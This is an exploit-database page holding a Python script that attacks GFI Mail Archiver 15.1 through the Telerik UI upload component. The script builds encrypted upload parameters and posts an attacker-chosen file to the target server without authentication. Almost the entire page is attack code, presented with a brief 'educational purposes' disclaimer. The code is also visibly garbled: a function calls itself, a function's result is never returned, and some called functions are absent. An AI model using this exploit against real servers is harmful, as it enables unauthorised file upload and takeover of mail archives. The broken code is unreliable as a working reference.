Exploits / Vulnerability Discovered : 2021-08-05 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Gfi mail archiver 15.1 telerik ui component arbitrary file upload (unauthenticated) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: GFI Mail Archiver 15.1 - Telerik UI Component Arbitrary File Upload (Unauthenticated)
# Date: 21/03/2021
# Exploit Author: Amin Bohio
# Original Research & Code By: Paul Taylor / Foregenix Ltd
# Original Exploit: https://github.com/bao7uo/RAU_crypto
# Vendor Homepage: https://www.gfi.com
# Software Link: https://www.gfi.com/products-and-solutions/network-security-solutions/gfi-archiver
# Vulnerable Versions: GFI Mail Archiver <= 15.1
# Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Component Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
# Tested on: Windows & Linux
# Original Telerik Exploit Author: Paul Taylor / @bao7uo
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py
# Modified by: Amin Bohio
import sys
import base64
import json
import re
import requests
import os
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256
from Crypto.Hash import SHA1
from struct import Struct
from operator import xor
from itertools import starmap
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def derive2(password, salt):
# Credit: @mitsuhiko https://github.com/mitsuhiko/python-pbkdf2/blob/master/pbkdf2.py
result_length = 48
PBKDF.mac = HMAC.new(bytes(password.encode()), None, SHA1.new())
result = []
for b in range(1, -(-result_length // PBKDF.mac.digest_size) + 1):
rv = u = PBKDF.hmacsha1(salt.encode() + Struct('>i').pack(b))
for i in range(999):
u = PBKDF.hmacsha1(u)
rv = starmap(xor, zip(rv, u))
result.extend(rv)
result = b''.join(map(bytes, [result]))[:result_length]
return result
def derive(type, password,salt = ''.join(chr(i) for i in [58, 84, 91, 25, 10, 34, 29, 68, 60, 88, 44, 51, 1])):
if type == 1:
result = PBKDF.derive1(password, salt)
result = result[0:32] + result[8:16] + result[40:48] # Bizarre hack
elif type == 2:
result = PBKDF.derive2(password, salt)
def rauPostData_enc(partA, partB):
data = "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
data += "\r\n"
data += RAUCipher.encrypt(partA) + "&" + RAUCipher.encrypt(partB) + "\r\n"
return data
def rauPostData_prep(TempTargetFolder, Version):
TargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(""),
Version
)
TempTargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(TempTargetFolder),
Version
)
data = rauPostData_prep(TempTargetFolder, Version)
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
data += "Content-Type: application/octet-stream\r\n"
data += "\r\n"
data += payload_file_data.decode("raw_unicode_escape") + "\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"fileName\"\r\n"
data += "\r\n"
data += "RAU_crypto.bypass\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"contentType\"\r\n"
data += "\r\n"
data += "text/html\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n"
data += "\r\n"
data += "2019-01-02T03:04:05.067Z\r\n"
data += "-----------------------------62616f37756f2f\r\n"
data += "Content-Disposition: form-data; name=\"metadata\"\r\n"
data += "\r\n"
data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \
payload_filebasename + "\"}\r\n"
data += "-----------------------------62616f37756f2f--\r\n"
data += "\r\n"
sys.stderr.write("Payload prep done\n")
return data
def mode_Encrypt_rauPostData():
# encrypt rauPostData based on TempTargetFolder and Version
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
print(
"rauPostData: " +
rauPostData_prep(TempTargetFolder, Version) +
"\n"
)
def mode_payload():
# generate a payload based on TempTargetFolder, Version and payload file
TempTargetFolder = sys.argv[2]
Version = "2013.1.417.40"
payload_filename = sys.argv[4]
print("Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f")
print(payload(TempTargetFolder, Version, payload_filename))
def mode_Post(proxy = False):
# generate and upload a payload based on
# TempTargetFolder, Version, payload file and url
Version = "2013.1.417.40"
url = sys.argv[2] + "/Telerik.Web.UI.WebResource.axd?type=rau"
payload_filename = sys.argv[4]
TempTargetFolder = sys.argv[6]
print(upload(payload(TempTargetFolder, Version, payload_filename), url, proxy))
print("\n[+] Check your uploaded file\n");
sys.stderr.write("\n[+] Original Research by Paul Taylor / @bao7uo \n[+] Modified by Amin Bohio\n")
sys.stderr.write("[+] GFI Mail Archiver <= 15.1 - Telerik Arbitrary File Upload\n\n")
if len(sys.argv) < 2:
mode_help()
elif sys.argv[1] == "-u" and len(sys.argv) == 7:
mode_Post()
else:
mode_help()